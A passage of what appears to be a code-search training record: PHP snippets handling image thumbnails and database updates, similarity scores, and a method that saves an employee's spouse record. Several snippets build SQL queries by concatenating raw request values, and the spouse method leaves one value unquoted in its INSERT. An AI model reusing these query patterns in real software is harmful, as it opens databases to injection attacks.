thumb found ' . $thumb);\n $has_cover = true;\n }\n if ($has_cover) {\n $app->response()->status(200);\n $app->response()->header('Content-type', 'image/png;base64');\n $app->response()->header('Content-Length', filesize($thumb));\n readfile($thumb);\n } else {\n $app->response()->status(404);\n }\n}", "protected function addThumbnail()\n {\n $this->add(array(\n 'name' => 'thumbnail',\n 'required' => true,\n 'filters' => array(\n array('name' => 'Zend\\Filter\\HtmlEntities'),\n array('name' => 'Zend\\Filter\\StringTrim'),\n array('name' => 'Zend\\Filter\\StripTags'),\n ),\n ));\n \n return $this;\n }", "function utility_refreshImage($request) {\n global $uw_db;\n\n $pi_id = isset($request['pi_id']) ? $request['pi_id'] : 0;\n $p_id = isset($request['p_id']) ? $request['p_id'] : 0;\n $projectImages = isset($request['projectImages']) ? $request['projectImages'] : array();\n $offset = 0;\n $page_offset = 0;\n\n // Fetch a new image for this page\n $img = utility_getProjectImage($request, $offset, $page_offset, $projectImages);\n $s = utility_scaleImage($img['width'], $img['height']);\n $img['width'] = $s['width'] . \"px\"; $img['height'] = $s['height'] . \"px\";\n\n // Return image data\n return $img;\n}", "public function update(ProductRequest $request, $id)\n {\n $requestData = $request->all();\n $product = Product::findOrFail($id);\n $requestData['slug'] = str_slug( $requestData['slug'] );\n if($request->hasFile('thumbnails')) {\n //delete old img\n try{\n $arr_img = @unserialize( base64_decode($product->thumbnails) );\n if($arr_img)\n foreach ($arr_img as $item){\n if(file_exists(public_path() . '/imgs/' . $this->path_thumb . '/' . $item))\n unlink(public_path() . '/imgs/' . $this->path_thumb . '/' . $item);\n }\n }catch(ErrorException $ex){}\n\n //save new imgs\n $files = $request->file('thumbnails');\n\n $thumbnails = [];\n //handle file to save\n foreach ($files as $f) {\n //handle name of img\n $name_not_ext = str_slug( strtolower( trim( pathinfo($f->getClientOriginalName(), PATHINFO_FILENAME) ) ) );\n $ext = $f->getClientOriginalExtension();//strtolower( trim( pathinfo($f->getClientOriginalName(), PATHINFO_EXTENSION) ) );\n $full_name = $name_not_ext . '-' . time() . '.' . $ext;\n\n //die(var_dump($full_name));\n if ($f->storeAs($this->path_thumb, $full_name)) {\n array_push($thumbnails, $full_name);\n \\MyHelpers::createThumbnail( $this->path_thumb, $full_name );\n }\n }\n\n $requestData['thumbnails'] = base64_encode( serialize($thumbnails) );\n } else\n $requestData['thumbnails'] = $product->thumbnails;\n\n if ($product->update($requestData) && isset($requestData['product_category'])) {\n $productCategoryOlds = DB::table('product_category')->where('product_id', $id)->pluck('category_id')->toArray();\n $productCategoryNews = $requestData['product_category'];\n $oldDiff = array_diff($productCategoryOlds, $productCategoryNews);\n if($oldDiff){\n foreach ($oldDiff as $item){\n DB::table('product_category')->where(['product_id' => $id, 'category_id' => $item])->delete();\n }\n }\n $newDiff = array_diff($productCategoryNews, $productCategoryOlds);\n if($newDiff){\n foreach ($newDiff as $item) {\n DB::table('product_category')->insert([\n 'product_id' => $id,\n 'category_id' => $item\n ]);\n }\n }\n }\n \n return redirect('admin/product')->with('flash_message', 'Product updated!');\n }", "public static function UploadImageAndCreateThumbnail(\n $image_element, $keepOriginal, $target_path, $imagename, $thumbnailfile,\n $maxwidth=100, $maxheight=100, $maxuploadsize=8388608,\n $squareoff=false, $keepratio=true, $isUploaded=true, & $img_obj)\n {\n $img_obj_created = false;\n if(empty($img_obj) || !($img_obj instanceof SD_Image))\n {\n $img_obj = new SD_Image();\n $img_obj_created = true;\n }\n\n $errormsg = '';\n $image_uploaded = false;\n\n // Sanity checks on params\n $maxwidth = !isset($maxwidth) ? 100 : Is_Valid_Number($maxwidth,100,20,SD_MEDIA_MAX_DIM);\n $maxheight = !isset($maxheight) ? 100 : Is_Valid_Number($maxheight,100,20,SD_MEDIA_MAX_DIM);\n $maxuploadsize = Is_Valid_Number($maxuploadsize, 8388608, 1024, 25165824);\n $isUploaded = !empty($isUploaded);\n\n if(!$isUploaded)\n {\n if($res = $img_obj->setImageFile(ROOT_PATH.$target_path.$imagename))\n {\n if(($img_obj->getErrorCode() == SD_MEDIA_ERR_WRONG_EXT))\n {\n $res = SD_MEDIA_ERR_WRONG_EXT;\n }\n elseif($img_obj->getImageWidth() > SD_MEDIA_MAX_DIM)\n {\n $res = SD_MEDIA_ERR_WIDTH;\n }\n elseif($img_obj->getImageHeight() > SD_MEDIA_MAX_DIM)\n {\n $res = SD_MEDIA_ERR_HEIGHT;\n }\n elseif(($img_obj->getSize() == 0) || ($img_obj->getSize() > $maxuploadsize))\n {\n $res = SD_MEDIA_ERR_FILESIZE;\n }\n else\n if(!$img_obj->getGDImageType() ||\n !isset(SD_Media_Base::$known_type_ext[$img_obj->getMimeType()]))\n {\n $res = SD_MEDIA_ERR_UNSUPPORTED;\n }\n elseif(!SD_Image_Helper::FilterImagename($imagename) || !is_executable(ROOT_PATH.$target_path.$imagename))\n {\n $res = SD_MEDIA_ERR_UNSUPPORTED;\n }\n }\n else\n {\n $res = SD_MEDIA_ERR_UNSUPPORTED;\n }\n // If error is set, translate it\n if(($res !== true) && is_numeric($res))\n {\n $res = SD_Media_Base::getErrorPhrase($res);\n }\n }\n else\n {\n $res = $img_obj->UploadImage($image_element, $target_path, $imagename,\n SD_Media_Base::getImageExtentions(),\n $maxuploadsize, SD_MEDIA_MAX_DIM, SD_MEDIA_MAX_DIM);\n }\n\n if($res !== true)\n {\n if($img_obj_created) unset($img_obj);\n return $res;\n }\n\n if($img_obj->getImageValid())\n {\n global $sdlanguage;\n $ext = '.' . $img_obj->getImageExt();\n $imagename .= $ext;\n $thumbnailfile .= $ext;\n if(!SD_Media_Base::ImageSecurityCheck(true, ROOT_PATH.$target_path, $imagename))\n {\n $errormsg = $sdlanguage['upload_err_general'];\n }\n else\n {\n if($img_obj->CreateThumbnail(ROOT_PATH.$target_path.$thumbnailfile,\n $maxwidth, $maxheight,\n !empty($squareoff), !empty($keepratio)))\n {\n if(empty($keepOriginal)) @unlink(ROOT_PATH.$target_path.$imagename);\n $image_uploaded = $img_obj->setImageFile(ROOT_PATH.$target_path.$thumbnailfile);\n }\n else\n {\n $errormsg = $sdlanguage['common_thumbnail_failed'];\n }\n }\n }\n if(!$image_uploaded)\n {\n if($img_obj_created) unset($img_obj);\n }\n return empty($errormsg) ? $image_uploaded : $errormsg;\n\n }", "public function setThumbnails($thumbnail) {\n $this->request->setThumbnail($thumbnail);\n return $this;\n }", "public function createImage()\n {\n if ($this->resize) {\n\n // get the resize dimensions\n $height = (int)array_get($this->resizeDimensions, 'new_height', 320);\n\n $width = (int)array_get($this->resizeDimensions, 'new_width', 240);\n\n if ($this->fit) {\n return Image::make($this->originalPath)->fit($width, $height)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n } else {\n return Image::make($this->originalPath)->resize($width, $height)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n }\n\n } else {\n\n return Image::make($this->originalPath)\n ->save(base_path() . $this->storageLocation . '/' . $this->uniqueName, $this->imgQuality);\n }\n }", "public function getThumbnailImg()\n\t{\n\t\t$this->thumbail_img_id = intval( get_post_thumbnail_id( $this->post->ID ) );\n\t\treturn has_post_thumbnail($this->post->ID) ? new Cltvo_Img( $this->thumbail_img_id) : NULL;\n\t}" ]
[ "0.65871066", "0.64330494", "0.64221925", "0.64045274", "0.6317264", "0.62773347", "0.6200119", "0.6029603", "0.6016328", "0.5985591", "0.5980453", "0.5964642", "0.5884409", "0.57325476", "0.5724037", "0.5697381", "0.56903577", "0.5686293", "0.56613356", "0.56558", "0.56396544", "0.56248254", "0.562238", "0.56178343", "0.5591632", "0.5589657", "0.55673873", "0.5550977", "0.5523933", "0.5511471", "0.5502981", "0.54876494", "0.5478438", "0.5468218", "0.5468218", "0.5463377", "0.5462016", "0.5447284", "0.5446775", "0.54464704", "0.544128", "0.54170793", "0.54031515", "0.53931653", "0.5391594", "0.5384847", "0.538364", "0.53823227", "0.53737575", "0.5366748", "0.5360042", "0.5355292", "0.5354363", "0.5351896", "0.5351779", "0.53439873", "0.5338079", "0.53335536", "0.53206617", "0.5304684", "0.5304673", "0.5301802", "0.5301018", "0.53002775", "0.52990055", "0.5286567", "0.5286319", "0.5281414", "0.5281152", "0.52799785", "0.5277508", "0.5273233", "0.52676934", "0.52630526", "0.52616715", "0.5257704", "0.5257548", "0.5257506", "0.5253994", "0.52523285", "0.5244786", "0.52347356", "0.5232399", "0.5219522", "0.521565", "0.5215178", "0.52138263", "0.52123857", "0.5204898", "0.5201906", "0.5197719", "0.5192874", "0.5189241", "0.5178347", "0.517801", "0.5176104", "0.51759386", "0.5172851", "0.51688415", "0.5168512" ]
0.7600771
0
/ This will update the spouse record
public function update_spouce() { $this->is_access('Employer'); foreach ($_POST as $key=>$value) { $p[$key] = $this->linkID->real_escape_string($value); } if ($p['FirstName'] == "") { $err = "1"; } if ($p['LastName'] == "") { $err = "1"; } if ($p['EmailAddress'] == "") { $err = "1"; } if ($err == "1") { print "<br><font color=red>One of the required fields was empty. You must enter in at least the first name, last name and email address. The email address must not be the same as the employee.</font><br><br>"; } $sql = "SELECT `employeeID` FROM `spouse` WHERE `employeeID` = '$p[employeeID]'"; $result = $this->new_mysql($sql); while ($row = $result->fetch_assoc()) { $found = "1"; } if ($found == "1") { // update if ($p['SSN'] != "") { $ssn = ",`SSN` = '$p[SSN]'"; } $sql = "UPDATE `spouse` SET `FirstName` = '$p[FirstName]', `MiddleName` = '$p[MiddleName]', `LastName` = '$p[LastName]', `Gender` = '$p[Gender]', `DOB` = '$p[DOB]', `EmailAddress` = '$p[EmailAddress]', `PhoneNumber` = '$p[PhoneNumber]', `Street` = '$p[Street]', `City` = '$p[City]', `State` = '$p[State]', `PostalCode` = '$p[PostalCode]', `WorkLocationCode` = '$p[WorkLocationCode]', `WorkLocationDescription` = '$p[WorkLocationDescription]' $ssn WHERE `employeeID` = '$p[employeeID]' "; } else { // insert $sql = "INSERT INTO `spouse` (`employeeID`,`FirstName`,`MiddleName`,`LastName`,`SSN`,`Gender`,`DOB`,`EmailAddress`,`PhoneNumber`, `Street`,`City`,`State`,`PostalCode`,`WorkLocationCode`,`WorkLocationDescription`) VALUES ('$p[employeeID]','$p[FirstName]','$p[MiddleName]','$p[LastName]','$p[SSN]','$p[Gender]', '$p[DOB]','$p[EmailAddress]','$p[PhoneNumber]','$p[Street]','$p[City]','$p[State]','$p[PostalCode]',$p[WorkLocationCode],'$p[WorkLocationDescription]')"; } $result = $this->new_mysql($sql); if ($result == "TRUE") { print "<br><font color=green>The record was saved. Loading...</font><br>"; } else { print "<br><font color=red>The record failed to update. Loading...</font><br>"; } ?> <script> setTimeout(function() { document.location.href='employer.php?section=employees'; } ,2000); </script> <?php }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateRecord() \n {\n $str = \"Id = :Id\";\n array_walk($this->arrayKeysValues(), function ($value, $key) use (&$str) {\n $str .= \", $key = :$key\";\n });\n $sql = sprintf(\"UPDATE Cubans SET %s WHERE Id = :Id\", $str);\n $statement = $this->connect->prepare($sql);\n $statement->execute(array_merge([\":Id\" => $this->id], $this->arrayKeysValues()));\n }", "public function testUpdatePayslipByID()\n {\n }", "public function update(): void\n {\n $this->updateQuality();\n $this->updateSellIn();\n $this->expiresAfterSale();\n }", "public function Update()\n\t{\n\t\t$prefix = $this->Db->TablePrefix;\n\t\t$user = GetUser();\n\t\t$userid = $user->userid;\n\t\t$where = 'id = ' . $this->id;\n\n\t\t$surveys_data = $this->data;\n\n\t\tif (isset($surveys_data['_columns'])) {\n\t\t\tunset($surveys_data['_columns']);\n\t\t}\n\n\t\tif (isset($surveys_data['id'])) {\n\t\t\tunset($surveys_data['id']);\n\t\t}\n\n\t\t$surveys_data['updated'] = $this->GetServerTime();\n\n\t\t$this->Db->UpdateQuery('surveys', $surveys_data, $where);\n\t}", "public function update() {\n global $DB;\n $record = array(\n 'sortorder' => $this->sortorder,\n 'criterion' => $this->criterion,\n 'addinfo' => json_encode($this->addinfo)\n );\n if ($this->id) {\n $record['id'] = $this->id;\n $DB->update_record($this->get_table_name(), $record);\n } else {\n $record['instantquizid'] = $this->instantquiz->id;\n $this->id = $DB->insert_record($this->get_table_name(), $record);\n }\n }", "public function update() {\n\t\tTournamentDBClient::update($this);\n\t}", "public function testUpdatePayslip()\n {\n }", "protected function update()\n\t{\n\t\t//append ID to fields\n\t\t$query = $this->connection->prepare\n\t\t(\"\n\t\t\tupdate Booth\n\t\t\tset BoothNum = ?\n\t\t\twhere BoothID = ?\n\t\t\");\n\n\t\t$query->execute(array_values($this->fields));\n\n\t}", "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "protected function update() {}", "public function update($record);", "protected function _update()\n {\n \n }", "protected function _update()\n {\n \n }", "protected function saveUpdate()\n {\n }", "public function update(Request $request)\n {\n $vote=UserParticipatesParty::find($request->id);\n $track = Track::where('id',$vote->vote)->first();\n $track->votes -=1;\n $track->save();\n $request->track_id;\n $track = Track::find($request->track_id);\n $track->votes += 1;\n $track->save();\n $vote->vote=$request->track_id;\n $vote->save();\n return redirect()->back()->with('success','vote changed successfully');\n }", "function updateSponsor($aff_id)\n\t\t{\t\n\t\t\t/*\n\t\t\t\techo \"<pre>\";\n\t\t\t\tprint_r($this->Sponsor);\n\t\t\t\tdie();\n\t\t\t*/\t\n\t\t\t\n\t\t\t$query = \" update tbl_sponsors set`sponsor_name`= '\".$this->Sponsor->sponsor_name.\"',\n\t\t\t`sponsor_description` = '\".$this->Sponsor->sponsor_description.\"',\n\t\t\t`sponsor_url` = '\".$this->Sponsor->sponsor_url.\"' \t\t\t\t\t \n \t\t\t where `affiliate_id` = \".$aff_id.\" and id = \".$this->Sponsor->id;\n\t\t\t\t\t \t\n\t\t\t\t\t \n\t\t\t$response = $this->Execute($query);\n\t\t\treturn $response;\n\t\t}", "protected function _update()\n\t{\n\t}", "public function handbks_object_counts_update() {\n $this->db->query(\"call handbks_object_counts_update();\");\n }", "protected function updateObject()\n {\n $gatewayData = $this->encodeDataToJson();\n\n $query = $this->db->getQuery(true);\n\n $query\n ->update($this->db->quoteName(\"#__crowdf_intentions\"))\n ->set($this->db->quoteName(\"user_id\") . \"=\" . $this->db->quote($this->user_id))\n ->set($this->db->quoteName(\"project_id\") . \"=\" . $this->db->quote($this->project_id))\n ->set($this->db->quoteName(\"reward_id\") . \"=\" . $this->db->quote($this->reward_id))\n ->set($this->db->quoteName(\"unique_key\") . \"=\" . $this->db->quote($this->unique_key))\n ->set($this->db->quoteName(\"gateway\") . \"=\" . $this->db->quote($this->gateway))\n ->set($this->db->quoteName(\"gateway_data\") . \"=\" . $this->db->quote($gatewayData))\n ->set($this->db->quoteName(\"auser_id\") . \"=\" . $this->db->quote($this->auser_id))\n ->set($this->db->quoteName(\"session_id\") . \"=\" . $this->db->quote($this->session_id))\n ->where($this->db->quoteName(\"id\") .\"=\". (int)$this->id);\n\n $this->db->setQuery($query);\n $this->db->execute();\n }", "public function update() {\n // Get the values that are currently in the database\n $curr_vals = $this->read_single();\n\n // Set the values that will be added to the table\n foreach ($curr_vals as $key => $value) {\n // Convert key from the Database's capitalization to\n // this model's attribute capitalization style (all lowercase)\n $local_key = strtolower($key);\n // If user didn't specify property\n if (($this->attr[$local_key] === \"\") || ($this->attr[$local_key] === null)){\n // Then use the value that's already in the database\n $this->attr[$local_key] = $curr_vals[$key];\n }\n }\n\n // Create query\n $query = \"UPDATE \" . $this->table .\n \" SET = \" .\n \" WHERE MID = :mid AND Spot = :spot \";\n\n // Prepare statement\n $stmt = $this->conn->prepare($query);\n\n // Clean the data (reduce malicious SQL injection, etc.)\n foreach ($this->attr as $key => $value) {\n $this->attr[$key] = htmlspecialchars(strip_tags($value));\n }\n \n // Bind the data to a variable for an SQL attribute\n foreach ($this->attr as $key => $value) {\n $stmt->bindValue((\":\" . $key), $value);\n }\n\n // Execute the prepared statement and check for errors in running it\n return $this->runPrepStmtChkErr($stmt);\n }", "private function updatebivapoints(){\n\t\t$Note='Referred '.$this->session->userdata('referemail').' And earned 100 Biva Points.';\n\t\t$this->db->where('ReferedTo', $this->session->userdata('referemail'));\n\t\t$this->db->where('UniqueKey', $this->session->userdata('referkey'));\n\t\t$object=array(\n\t\t\t'EarnedPotint' => 100,\n\t\t\t'UniqueKey' => null,\n\t\t\t'Note' => $Note\n\t\t);\n\t\t$this->db->update('tbl_bvpoint_data', $object);\n\t}", "public function update()\r\n {\r\n \r\n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",comments=\\\"$this->comments\\\",price=\\\"$this->price\\\",brand=\\\"$this->brand\\\",model=\\\"$this->model\\\",y=\\\"$this->y\\\",link=\\\"$this->link\\\",in_existence=\\\"$this->in_existence\\\",is_public=\\\"$this->is_public\\\",is_featured=\\\"$this->is_featured\\\",category_id=\\\"$this->category_id\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "public function db_update() {}", "function roshine_update_instance(stdClass $roshine, mod_roshine_mod_form $mform = null) {\n global $DB;\n $roshine->timemodified = time();\n //$old = $DB->get_record('roshine', array('id' => $roshine->instance));\n $roshine->id = $roshine->instance;\n return $DB->update_record('roshine', $roshine);\n}", "public function api_update_price(){\n $watchlists = $this->wr->all();\n foreach($watchlists as $watchlist)\n {\n $current_price = $this->get_quotes($watchlist->id);\n\n $this->wr->update([\n 'current_price' => $current_price,\n ],$watchlist->id);\n }\n }", "public function save()\n {\n $this->checkForNecessaryProperties();\n\n $this->update($this->getCurrentId(), $this->data);\n }", "protected function update()\n\t{\n\t\t$this->autofill();\n\n\t\t$query = $this->connection->prepare (\"call UpdateProjectBooth (?, ?)\");\n\t\t$query->execute ([$this->fields['ID'], $this->fields['BoothID']]);\n\n\t\t$booth = $this->fields['BoothID'];\n\t\tunset ($this->fields['BoothID']);\n\n\t\tparent::update();\n\n\t\t$this->fields['BoothID'] = $booth;\n\n\t}", "public function testUpdateFinancialStatementUsingPut()\n {\n }", "function updateRecord($id, $name, $position, $team, $age, $dateofarticle, $projdraftround, $injsus, $href, $newssrc, $notes, $status)\n\t {\n\t\t //open database connection\n\t\t $conn = $this->openDBConnection();\n\t\t\t\n\t\t\t//update record in database\n\t\t\t$query = \"UPDATE players SET\n \t\tname='$name', \n\t\t\t\t\tposition='$position',\n\t\t\t\t\tteam='$team',\n\t\t\t\t\tage='$age',\n\t\t\t\t\tdateofarticle='$dateofarticle',\n\t\t\t\t\tprojdraftround='$projdraftround',\n\t\t\t\t\tinjsus='$injsus',\n\t\t\t\t\thref='$href',\n\t\t\t\t\tnewssrc='$newssrc',\n\t\t\t\t\tnotes='$notes',\n\t\t\t\t\tstatus='$status'\n\t\t WHERE id = {$id}\";\n\t\t\n\t\t \n\t\t\tif(mysqli_query($conn, $query))\n\t\t\t{\n\t\t\t\t//echo '<script type=\"text/javascript\">eval(alert(\"Success, '.$name.'\\'s record has been updated. You will be notified on '.$this->createTargetDate($timespan).' to contact this person!\"));</script>';\n\t\t\t\t//header('Location: http://localhost/FantasyFootballDraft/');\n\t\t\t} else {\n\t\t\t echo 'Error: '. mysqli_error($conn);\t\n\t\t\t}\n\t\t\t\n\t\t\t//close connection\n\t\t mysqli_close($conn);\n\t\t \n\t }", "public function update() {\r\n\r\n\t}", "public function update(Request $request, ss $ss)\n {\n App\\ss::where('active',1)\n ->where('prijs','500')\n ->update('rented');\n }", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function saveToDb() {\n parent::saveToDb();\n\n require_once 'models/Location.php';\n Location::saveToDb($this->preferredLocation);\n Location::saveToDb($this->currentLocation);\n\n require_once 'libs/DB.php';\n $conn = DB::connect();\n\n $seekerId = $this->id();\n\n // Update the seeker table\n $conn->exec(\"UPDATE seeker SET experience='$this->experience', pref_location_name='$this->preferredLocation', curr_location_name='$this->currentLocation' WHERE id='$seekerId'\");\n\n require_once 'models/Skill.php';\n foreach($this->skills as $skill) {\n Skill::saveToDb($skill);\n }\n\n // Delete old skills\n $conn->exec(\"DELETE FROM seeker_skill WHERE seeker_id='$seekerId'\");\n\n // Add new skills\n foreach($this->skills as $skill) {\n $conn->exec(\"INSERT INTO seeker_skill(seeker_id, skill_name) VALUES('$seekerId', '$skill')\");\n }\n }", "private function crud_put($record = null)\n {\n $key = $record['id'];\n // Make sure the new record has an ID\n if (!isset($key))\n {\n $this->response(array('error' => 'Update: No item specified'), 406);\n return;\n }\n // make sure the item is real\n if (!$this->supplies->exists($key))\n {\n $this->response(array('error' => 'Update: Item ' . $key . ' not found'), 406);\n return;\n }\n // proceed with update\n $this->supplies->update($record);\n // check for DB errors\n $oops = $this->db->error();\n if (empty($oops['code']))\n $this->response(array('ok'), 200);\n else\n $this->response($oops, 400);\n }", "public function updateSolicitudes($param)\r\n {\r\n $this->db->where();\r\n $this->db->update(\"Solicitudes\");\r\n }", "public function update()\n {\n }", "public function update(){\r\n $query = DB::connection()->prepare('\r\n UPDATE Wine\r\n SET name=:name, \r\n region=:region, \r\n winetext=:winetext,\r\n type=:type\r\n WHERE id=:id');\r\n $query->execute(array(\r\n 'id' => $this->id,\r\n 'name' => $this->name, \r\n 'region' => $this->region, \r\n 'winetext' => $this->winetext, \r\n 'type' => $this->type));\r\n }", "function update()\n {\n $id = $_POST['id'];\n $name = $_POST['wname'];\n if($name == null)\n {\n header(\"Location:../view/sparklingwine_view.php\");\n }\n else\n {\n $sparklingwine = new SparklingWine();\n $sparklingwine->update($id,$name); \n header(\"Location:../view/sparklingwine_view.php\");\n }\n }", "public function update(Request $request, Sellthrough $sellthrough)\n {\n //\n }", "public function update() {\r\n\r\n\t\ttry {\r\n\t\t\tglobal $ks_db;\r\n\t\t\tglobal $ks_log;\r\n\r\n\t\t\t$ks_db->beginTransaction ();\r\n\t\t\t\r\n\t\t\t$arrBindings = array ();\r\n\t\t\t\r\n\t\t\tif (! isset ( $this->id )) { \r\n\t\t\t\techo \"Fatal Error: Id is not set for the object! Please do \\$objA->setId(\\$id); in: \" . __METHOD__;\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t//check if record exists\r\n\t\t\tif(! $this->exists ()) {\r\n\t\t\t\techo \"Fatal Error: No record found with id of ($this->id)\";\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t$sql = \"UPDATE $this->sqlTable SET \";\r\n\t\t\t\r\n\t\t\tif (isset ( $this->userid )) {\r\n\t\t\t\t$sql .= \"lp_userid = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->userid;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->random )) {\r\n\t\t\t\t$sql .= \"lp_random = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->random;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->deadline )) {\r\n\t\t\t\t$sql .= \"lp_deadline = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->deadline;\r\n\t\t\t}\r\n\r\n\t\t\t$sql = preg_replace ( '/, $/', '', $sql);\r\n\t\t\t$sql .= \" WHERE lp_id = ?\";\r\n\t\t\t$arrBindings[] = $this->id;\r\n\t\t\t\r\n\t\t\t$ks_db->query ( $sql, $arrBindings );\r\n\t\r\n\t\t\t$ks_db->commit ();\r\n\t\t\t\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$ks_db->rollBack ();\r\n\t\t\t$ks_log->info ( 'Fatal Error: ' . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage () );\r\n\t\t\t$ks_log->info ( '<br>SQL Statement: ' . $sql);\r\n\t\t\techo \"Fatal Error: \" . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage ();\r\n\t\t\techo \"SQL Statement: \" . $sql;\r\n\t\t}\r\n\t}", "public function update()\r\n {\r\n //\r\n }", "function update($idMedicalRecord) // Implementation \r\n\t\t{\r\n\t\t\t$this->idMedicalRecord = $idMedicalRecord;\r\n\t\t\t$dbo = database::getInstance(); // pass back that database object already created perhaps\r\n\t\t\t$sql = $this->buildQuery('update'); // what we want to do (update records)\r\n\r\n\t\t\t$dbo->doQuery($sql); // execute query statement\r\n\t\t}", "public function update():void\n {\n $id = $this->id;\n $first_name = $this->first_name;\n $last_name = $this->last_name;\n $image = $this->image;\n $user_type = $this->user_type;\n $address = $this->address;\n\t\t$phone = $this->phone;\n $this->fetch(\n 'UPDATE user\n SET first_name = ?,\n last_name = ?,\n image = ?,\n user_type = ?,\n address=?,\n phone=?\n WHERE id = ?;',\n [$first_name, $last_name,$image, $user_type,$address ,$phone , $id]\n );\n }", "public function testUpdatePayrun()\n {\n }", "public function update();", "public function update();", "public function update();", "public function update();", "public function update()\n {\n $ipodates = $this->fetchList();\n foreach ($ipodates as $key => $ipo) {\n $this->updateIPO($ipo[0], $ipo[1]);\n }\n }", "function update_shipto($shipto_id,$params){\n $this->company_db->update('tbl_shipto', $params,array(\"id\"=>$shipto_id)); \n }", "function update_pdv($pds){\n $sql = \"UPDATE pds SET openingDate='$pds->openingDate' WHERE id_pds =$pds->id_pds\";\n $this->db->query($sql);\n }", "public function update()\n {\n //\n }", "public function update()\n {\n //\n }", "public function update() {\r\n }", "function update()\n {\n\n $query = \"UPDATE Proposal set \";\n $query = $query . \"LastEditDate=NOW()\";\n if(isset($this->BidderID))\n {\n $query = $query . \", OpportunityID = '\" . $this->OpportunityID . \"'\"; \n }\n\n if(isset($this->BidderID))\n {\n $query = $query . \", BidderID = '\" . $this->BidderID . \"'\"; \n }\n\n if(isset($this->Status))\n {\n $query = $query . \", Status = \" . $this->Status . \"\"; \n }\n\n if(isset($this->TechnicalScore))\n {\n $query = $query . \", TechnicalScore = \" . $this->TechnicalScore . \" \"; \n }\n\n if(isset($this->FeeScore))\n {\n $query = $query . \", FeeScore = \" . $this->FeeScore . \" \"; \n }\n\n if(isset($this->FinalTotalScore))\n {\n $query = $query . \", FinalTotalScore = \" . $this->FinalTotalScore . \" \"; \n }\n\n if(isset($this->ContractAwarded))\n {\n $query = $query . \", ContractAwarded = \" . $this->ContractAwarded . \" \"; \n }\n\n $query = $query . \" WHERE ProposalID = '\" . $this->ProposalID . \"';\";\n\n $stmt = $this->conn->prepare( $query );\n\n // bind parameters\n //$stmt->bindParam(':ProposalID', $this->ProposalID);\n //$stmt->bindParam(':OpportunityID', $this->OpportunityID);\n //$stmt->bindParam(':BidderID', $this->BidderID);\n //$stmt->bindParam(':Status', $this->Status);\n //$stmt->bindParam(':TechnicalScore', $this->TechnicalScore);\n // $stmt->bindParam(':FeeScore', $this->FeeScore);\n //$stmt->bindParam(':FinalTotalScore', $this->FinalTotalScore);\n\n if($stmt->execute())\n return true;\n else\n return false;\n }", "public function update(Request $request, $sifPred)\n{\n $request->validate([\n 'sifPred'=>'required',\n 'nazPred'=> 'required'\n ]);\n\n $user = Pred::find($sifPred);\n $user->sifPred = $request->get('sifPred');\n $user->nazPred = $request->get('nazPred');\n $user->save();\n\n return redirect('/shares')->with('success', 'Stock has been updated');\n}", "private function update(){\n\t\t$q = Queries::update($this->authkey);\n\t\t$this->internalQuery($q);\n\t}", "public function update()\n {\n if ( ! $this->bean->getId()) {\n $this->bean->user = R::dispense('user')->current();\n }\n $this->bean->year = date('Y', strtotime($this->bean->invoicedate));\n $this->bean->m = date('m', strtotime($this->bean->invoicedate));\n $this->bean->d = date('d', strtotime($this->bean->invoicedate));\n $this->bean->yearname = $this->bean->year.$this->bean->name;\n parent::update();\n }", "public function actionUpdate() {}", "public function actionUpdate() {}", "function update_info($info_id, $seatsLeft, $numOfPssngrsReserved, $numOfSeats, $numOfPssngrsBus, $longitude, $locationAddress, $latitude) {\r\n //write the SQL query and call $this->query()\r\n $query = \"Update mw_info set seatsLeft = $seatsLeft\r\n , numOfPssngrsReserved = $numOfPssngrsReserved\r\n , numOfSeats = $numOfSeats\r\n , numOfPssngrsBus = $numOfPssngrsBus\r\n , longitude = $longitude, \r\n locationAddress = $locationAddress, latitude = $latitude\r\n , date_modified = now()\r\n where info_id = $info_id\";\r\n// print $query;\r\n// print mysql_error();\r\n return $this->query($query);\r\n }", "function update() {\n\t\t$sql = \"UPDATE \".$this->hr_db.\".hr_person_detail \n\t\t\t\tSET\tpsd_dp_id=?, psd_tax_no=?, psd_id_card_no=?, psd_passport_no=?, psd_picture=?, psd_blood_id=?, psd_reli_id=?, psd_nation_id=?, psd_race_id=?, psd_psst_id=?, psd_birthdate=?, psd_birth_pv_id=?, psd_gd_id=?, psd_account_no=?, psd_ba_id=?, psd_facebook=?, psd_twitter=?, psd_website=?, psd_email=?, psd_cellphone=?, psd_phone=?, psd_ex_phone=?, psd_work_phone=?, psd_lodge_id=?, psd_lodge_no=?, psd_lodge_phone=?, psd_addcur_no=?, psd_addcur_pv_id=?, psd_addcur_amph_id=?, psd_addcur_dist_id=?, psd_addcur_zipcode=?, psd_addhome_no=?, psd_addhome_pv_id=?, psd_addhome_amph_id=?, psd_addhome_dist_id=?, psd_addhome_zipcode=? \n\t\t\t\tWHERE psd_ps_id=?\";\t\n\t\t$this->hr->query($sql, array($this->psd_dp_id, $this->psd_tax_no, $this->psd_id_card_no, $this->psd_passport_no, $this->psd_picture, $this->psd_blood_id, $this->psd_reli_id, $this->psd_nation_id, $this->psd_race_id, $this->psd_psst_id, $this->psd_birthdate, $this->psd_birth_pv_id, $this->psd_gd_id, $this->psd_account_no, $this->psd_ba_id, $this->psd_facebook, $this->psd_twitter, $this->psd_website, $this->psd_email, $this->psd_cellphone, $this->psd_phone, $this->psd_ex_phone, $this->psd_work_phone, 